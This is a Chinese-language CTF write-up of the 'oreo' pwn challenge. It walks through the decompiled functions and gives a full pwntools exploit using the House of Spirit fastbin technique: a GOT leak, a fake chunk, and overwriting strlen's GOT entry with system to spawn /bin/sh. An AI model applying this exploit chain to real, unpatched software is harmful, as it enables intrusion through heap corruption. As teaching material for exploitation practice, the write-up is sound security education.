House_Of_Spirit ctf oreo程序分析
提取码:t4xx
程序分析
int __cdecl main()
{
leave_add = 0;
leave_del = 0;
leave_buf = (char *)&unk_804A2C0;
...
...
menu();
return 0;
}
main函数中先赋值了三个全局变量,这三个变量在.bss段是连续的
在这个程序中,没有setvbuf设置输出缓冲,在遇到printf 打印没有 '\n'的字符串时,可能不会输出到终端
ps:我在这里纠结了好久,我在python中 recv就是收不到东西,气skr人,(小白,菜)
下面看一个菜单中的第一个函数
通过这个函数的分析,把malloc出来的东西解析偏移,定义结构体,便于分析
struct Rifle
{
char description[25];
char name[27];
struct Rifle* fd;
}
unsigned int new()
{
...
p = struct_P; //初始 struct_P 是等于0的
struct_P = (Rifle *)malloc(56);
if ( struct_P )
{
struct_P->fd = (int)p; //指向之前申请的内存
printf("Rifle name: ");
fgets(struct_P->name, 56, stdin); //堆溢出,这个位置可以修改结构中指向下个结构的指针
str_end_nul(struct_P->name); //没什么用的一个函数
printf("Rifle description: ");
fgets(struct_P->description, 56, stdin);
str_end_nul(struct_P->description);
++leave_add;
}
...
}
第二个函数:
unsigned int show_rifle()
{
...
for ( i = struct_P; i; i = (Rifle *)i->fd )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i);
...
}
在这个函数中,只要 i 不为0,就不会退出,i的赋值又是指向下一个结构
而在第一个结构可以修改fd这个位置,如果在new函数中,把fd指向got表中puts的地址
就可以 printf("Description: %s\n", i); 打印出puts 在libc中的地址,从而找到system的地址
第三个函数:
unsigned int del()
{
...
v2 = struct_P;
if ( leave_add )
{
while ( v2 )
{
ptr = v2;
v2 = (Rifle *)v2->fd;
free(ptr);
}
struct_P = 0;
++leave_del;
puts("Okay order submitted!");
}
...
}
在这个函数中,如果struct_P=0,就会结束,但是,在new函数中,我们可以修改v2->fd ,意思就是把这个0改成我们想要的位置,用来free 到fastbin中,malloc后,实现任意地址的修改
第4个函数:
unsigned int leave()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(leave_buf, 128, stdin);
str_end_nul(leave_buf);
return __readgsdword(0x14u) ^ v0;
}
这个函数用来 向 leave_buf 写数据
而在main中 char *leave_buf = (char *)0x804A2C0;
如果把 leave_buf指向的位置改向got表 就可以修改got中的内容
利用代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./oreo')
elf=ELF('./oreo')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#context.log_level='debug'
#context.terminal = ["tmux","splitw","-h"]
#context.arch = "i386"
def add(name,description):
p.sendline('1')
p.sendline(name)
p.sendline(description)
def show_rifle():
p.sendline('2')
p.recvuntil('Description: ')
p.recvuntil('Description: ')
return u32(p.recv(4).ljust(4,'\x00'))
def del_all():
#gdb.attach(p,'b *0x8048855')
p.sendline('3')
p.recvuntil('Okay order submitted!\n')
def leave(payload):
p.sendline('4')
p.sendline(payload)
#1 leak出got表中已找到的地址
name='a'*27+p32(elf.got['puts'])
add(name,'0')
puts_addr= show_rifle()
success('1.puts_addr = '+hex(puts_addr))
#2得到system的地址
libc_base = puts_addr-libc.symbols['puts']
system_addr = puts_addr+libc.symbols['system']-libc.symbols['puts']
success('2.system_addr = '+hex(system_addr))
#3 伪造一个chunk
for i in range(0x40-2): #ps:为什么-2?前面已经add一次 后面我还要add一次
add('a'*27+p32(0),str(i))
leave_buf = 0x0804a2a8
payload = 'b'*27 + p32(leave_buf)
add(payload,'cccc')
#现在leave_add是0x40,fd又指向了&leave_add+4的位置,还差下一个chunk的size位
payload='\x00'*36+p32(100)#(leave_buf指向的地址-leave_buf)+36是下一个chunk的size位
leave(payload)
del_all()
#ps: leave_buf=0x804A2C0
payload = p32(elf.got['strlen'])
add('bbb',payload)
#ps:这里是向char *leave_buf中写入数据,而现在 leave_buf=elf.got['strlen']
leave(p32(system_addr)+';/bin/sh\x00')
#elf.got['strlen']这个地址中原本是strlen的地址,现在改成了system的地址
p.interactive()
一开始我不会改got表,就直接在0x804A2C0伪造chunk 我认为这样方便,捣鼓了好长时间,结果,C了个呵呵的.....
House_Of_Spirit ctf oreo程序分析的更多相关文章
- APM程序分析-AC_WPNav.cpp
APM程序分析 主程序在ArduCopter.cpp的loop()函数. /// advance_wp_target_along_track - move target location along ...
- 对Java数组中去除重复项程序分析
我作为一个Java菜鸟,只会用简单的办法来处理这个问题.如果有大神看到,请略过,感激不尽! 所以首先先分析这道题目:数组中重复的数据进行删除,并且要让数组里的数据按原来的顺序排列,中间不能留空. 既然 ...
- (IOS)BaiduFM 程序分析
本文主要分享下楼主在学习Swift编程过程中,对GitHub上的一个开源app BaiduFM的研究心得. 项目地址:https://github.com/belm/BaiduFM-Swift 一.项 ...
- Linux程序分析工具:ldd和nm
ldd和nm是Linux下两个非常实用的程序分析工具.其中,ldd是用来分析程序运行时需要依赖的动态链接库的工具,nm是用来查看指定程序中的符号表信息的工具. 1 ldd 格式:ldd [option ...
- 二进制程序分析工具Pin在Windows系统中的安装和使用方法
这篇日志其实很弱智,也是因为换了新电脑,实验环境不全(当然,做这个实验我是在虚拟机里,因为接下来想拿些恶意代码的数据),所以这里记录一下在Windows下怎么安装和使用Pin这个程序分析领域最常用的工 ...
- C#程序分析
一.程序及问题 阅读下面程序,请回答如下问题: 问题1:这个程序要找的是符合什么条件的数? 问题2:这样的数存在么?符合这一条件的最小的数是什么? 问题3:在电脑上运行这一程序,你估计多长时间才能输出 ...
- linux程序分析工具
ldd和nm是Linux下两个非常实用的程序分析工具.ldd是用来分析程序运行时需要依赖的动态链接库的工具,nm是用来查看指定程序中的符号表信息的工具,objdump用来查看源代码与汇编代码,-d只查 ...
- Codeforces 718A Efim and Strange Grade 程序分析
Codeforces 718A Efim and Strange Grade 程序分析 jerry的程序 using namespace std; typedef long long ll; stri ...
- 代码实现:判断101-200之间有多少个素数(质数),并输出所有素数。 程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,则表明此数不是素数,反之是素数。
package com.loaderman.Coding; /* 判断101-200之间有多少个素数(质数),并输出所有素数. 程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能 ...
随机推荐
- [易学易懂系列|rustlang语言|零基础|快速入门|(8)|Operators操作符]
[易学易懂系列|rustlang语言|零基础|快速入门|(8)] 有意思的基础知识 Operators 我们今天再来看看操作符. 算术运算 操作符: + - * / % 代码如下 : let a = ...
- java高并发核心要点|系列文章
java高并发核心要点|系列1|开篇 java高并发核心要点|系列2|锁的底层实现原理 java高并发核心要点|系列3|锁的底层实现原理|ABA问题 java高并发核心要点|系列4|CPU内存指令重排 ...
- JQuery 时间戳转时间
JQuery 时间戳转时间 var date = new Date(stocks[i]['create_time'] * 1000); var y = date.getFullYear(); var ...
- netty学习第5章 netty整合websocket
学习netty之后,可能都有一个疑问,就是如何选择一个编码.解码器,在netty中的编解码可是和json这种编解码是不一样的,netty的编解码器主要是解决TCP粘包.拆包的问题.netty中有许多自 ...
- spring+mybatis事务配置(转载)
原文地址:http://blog.csdn.net/wgh1015398431/article/details/52861048 申明式事务配置步骤 .xml文件头部需要添加spring的相关支持: ...
- mysql——InnoDB 锁
https://www.cnblogs.com/leedaily/p/8378779.html 1.InnoDB锁的实现方式:给索引项加锁,只有通过索引条件检索数据,InnoDB才使用行级锁,否则,I ...
- php7魔术方法
抽空把php7的魔术方法复习一下,大致如下 __constract:在实例化一个类时,触发 __destruct:在一个实例对象被销毁的时候触发 __set(string $name , mixed ...
- linux-文件系统-5
cat /proc/partions cat /proc/mounts mount [options] -o [option] -t 文件类型 设备 挂载目录 设备: (1)设备文件:例如/dev/s ...
- POJ 1236 学校传数据 强连通+缩点+DAG
题意描述: 网络中有一些学校,每个学校可以分发软件给其他学校.可以向哪个分发取决于他们各自维护的一个清单. 两个问题 1:至少要copy多少份新软件给那些学校, 才能使得每个学校都能得到. 2:要在所 ...
- 论文阅读:Elastic Scaling of Stateful Network Functions
摘要: 弹性伸缩是NFV的核心承诺,但在实际应用中却很难实现.出现这种困难的原因是大多数网络函数(NFS)是有状态的,并且这种状态需要在NF实例之间共享.在满足NFS上的吞吐量和延迟要求的同时实现状态 ...